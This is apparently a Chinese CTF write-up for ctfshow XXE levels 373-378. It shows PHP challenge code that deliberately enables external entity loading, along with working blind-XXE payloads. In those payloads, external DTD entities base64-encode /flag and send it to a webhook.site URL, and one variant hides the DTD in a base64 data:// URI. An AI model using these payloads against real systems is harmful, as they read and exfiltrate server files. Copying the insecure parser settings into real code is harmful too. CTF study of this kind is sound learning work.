第373关-378关

第373关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);

第374关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php  

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

这里是无回显的xxe漏洞,由于我懒,所以直接使用webhoook..site的服务了

image.png
现在这里面写入恶意文件

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'https://webhook.site/bf102623-1e44-40af-a02d-beedb0078859?data=%file;'>">

返回bp中输入
image.png

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "https://webhook.site/bf102623-1e44-40af-a02d-beedb0078859">
%dtd;
%int;
%send;
]>
<root></root>

然后发送就可以了

第375关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php  

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 15:22:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();    
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

加了一个针对version="1.0"的过滤
但其实有没有这个无所谓

直接
image.png

image.png

第356关

没啥区别

image.png

第377关

这关因为过滤了http,需要结合base64来发送payload

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'https://webhook.site/bf102623-1e44-40af-a02d-beedb0078859?data=%file;'>">

1
2
3
4
5
6
7
8
<!DOCTYPE ANY [
<!ENTITY % dtd SYSTEM "data://text/plain;base64,PCFFTlRJVFkgJSBmaWxlIFNZU1RFTSAicGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS9mbGFnIj4KPCFFTlRJVFkgJSBpbnQgIjwhRU5USVRZICYjMzc7IHNlbmQgU1lTVEVNICdodHRwczovL3dlYmhvb2suc2l0ZS9iZjEwMjYyMy0xZTQ0LTQwYWYtYTAyZC1iZWVkYjAwNzg4NTk/ZGF0YT0lZmlsZTsnPiI+">
%dtd;
%int;
%send;
]>
<root></root>

image.png
image.png

第378关

对环境的真实模拟
image.png